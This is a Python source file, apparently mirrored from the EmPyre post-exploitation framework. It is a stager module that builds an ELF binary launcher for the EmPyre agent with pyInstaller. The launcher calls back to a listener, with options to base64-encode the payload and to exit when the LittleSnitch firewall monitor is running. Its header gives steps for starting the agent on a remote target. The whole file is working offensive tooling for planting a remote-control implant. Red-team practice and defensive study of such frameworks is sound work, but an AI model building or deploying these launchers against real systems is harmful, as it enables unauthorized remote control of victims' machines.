mirror of
https://github.com/EmpireProject/EmPyre
synced 2026-06-08 10:57:53 +00:00
root
142 lines
4.5 KiB
Python
142 lines
4.5 KiB
Python
from lib.common import helpers
|
|
|
|
"""
|
|
|
|
Install steps...
|
|
|
|
- install pyInstaller
|
|
-- try: apt-get -y install python-pip && pip install pyinstaller
|
|
|
|
- copy into stagers directory
|
|
-- ./EmPyre/lib/stagers/
|
|
|
|
- kick off the emPyre agent on a remote target
|
|
-- /tmp/emPyre &
|
|
|
|
@TweekFawkes
|
|
|
|
"""
|
|
|
|
class Stager:
|
|
|
|
def __init__(self, mainMenu, params=[]):
|
|
|
|
self.info = {
|
|
'Name': 'pyInstaller Launcher',
|
|
|
|
'Author': ['@TweekFawkes'],
|
|
|
|
'Description': ('Generates an ELF binary payload launcher for EmPyre using pyInstaller.'),
|
|
|
|
'Comments': [
|
|
'Needs to have pyInstaller setup on the system you are creating the stager on. For debian based operatins systems try the following command: apt-get -y install python-pip && pip install pyinstaller'
|
|
]
|
|
}
|
|
|
|
# any options needed by the stager, settable during runtime
|
|
self.options = {
|
|
# format:
|
|
# value_name : {description, required, default_value}
|
|
'Listener' : {
|
|
'Description' : 'Listener to generate stager for.',
|
|
'Required' : True,
|
|
'Value' : ''
|
|
},
|
|
'BinaryFile' : {
|
|
'Description' : 'File to output launcher to.',
|
|
'Required' : True,
|
|
'Value' : '/tmp/emPyre'
|
|
},
|
|
'LittleSnitch' : {
|
|
'Description' : 'Switch. Check for the LittleSnitch process, exit the staging process if it is running. Defaults to False.',
|
|
'Required' : True,
|
|
'Value' : 'False'
|
|
},
|
|
'Base64' : {
|
|
'Description' : 'Switch. Base64 encode the output. Defaults to False.',
|
|
'Required' : True,
|
|
'Value' : 'False'
|
|
},
|
|
'UserAgent' : {
|
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
|
'Required' : False,
|
|
'Value' : 'default'
|
|
}
|
|
}
|
|
|
|
# save off a copy of the mainMenu object to access external functionality
|
|
# like listeners/agent handlers/etc.
|
|
self.mainMenu = mainMenu
|
|
|
|
for param in params:
|
|
# parameter format is [Name, Value]
|
|
option, value = param
|
|
if option in self.options:
|
|
self.options[option]['Value'] = value
|
|
|
|
def generate(self):
|
|
|
|
# extract all of our options
|
|
listenerName = self.options['Listener']['Value']
|
|
base64 = self.options['Base64']['Value']
|
|
userAgent = self.options['UserAgent']['Value']
|
|
LittleSnitch = self.options['LittleSnitch']['Value']
|
|
BinaryFile_Str = self.options['BinaryFile']['Value']
|
|
|
|
encode = False
|
|
if base64.lower() == "true":
|
|
encode = True
|
|
|
|
import subprocess
|
|
output_Str = subprocess.check_output(['which', 'pyinstaller'])
|
|
if output_Str == "":
|
|
print helpers.color("[!] Error pyInstaller is not installed")
|
|
print helpers.color("[!] Try: apt-get -y install python-pip && pip install pyinstaller")
|
|
return ""
|
|
else:
|
|
# generate the launcher code
|
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, littlesnitch=LittleSnitch)
|
|
if launcher == "":
|
|
print helpers.color("[!] Error in launcher command generation.")
|
|
return ""
|
|
else:
|
|
filesToExtractImportsFrom_List = []
|
|
|
|
# pull the database connection object out of the main menu
|
|
self.conn = self.mainMenu.conn
|
|
# pull out the code install path from the database config
|
|
cur = self.conn.cursor()
|
|
cur.execute("SELECT install_path FROM config")
|
|
installPath_Str = cur.fetchone()[0]
|
|
cur.close()
|
|
|
|
import os
|
|
stagerFFP_Str = os.path.join(installPath_Str, "data/agent/stager.py")
|
|
filesToExtractImportsFrom_List.append(stagerFFP_Str)
|
|
|
|
agentFFP_Str = os.path.join(installPath_Str, "data/agent/agent.py")
|
|
filesToExtractImportsFrom_List.append(agentFFP_Str)
|
|
|
|
imports_List = []
|
|
for FullFilePath in filesToExtractImportsFrom_List:
|
|
with open(FullFilePath, 'r') as file:
|
|
for line in file:
|
|
line = line.strip()
|
|
if line.startswith('import '):
|
|
helpers.color(line)
|
|
imports_List.append(line)
|
|
elif line.startswith('from '):
|
|
helpers.color(line)
|
|
imports_List.append(line)
|
|
|
|
imports_List = list(set(imports_List)) # removing duplicate strings
|
|
imports_Str = "\n".join(imports_List)
|
|
launcher = imports_Str + "\n" + launcher
|
|
|
|
with open(BinaryFile_Str + ".py", "w") as text_file:
|
|
text_file.write("%s" % launcher)
|
|
|
|
import time
|
|
output_Str = subprocess.check_output(['pyinstaller', '-y', '--clean', '--specpath', os.path.dirname(BinaryFile_Str), '--distpath', os.path.dirname(BinaryFile_Str), '--workpath', '/tmp/'+str(time.time())+'-build/', '--onefile', BinaryFile_Str + '.py'])
|
|
return launcher
|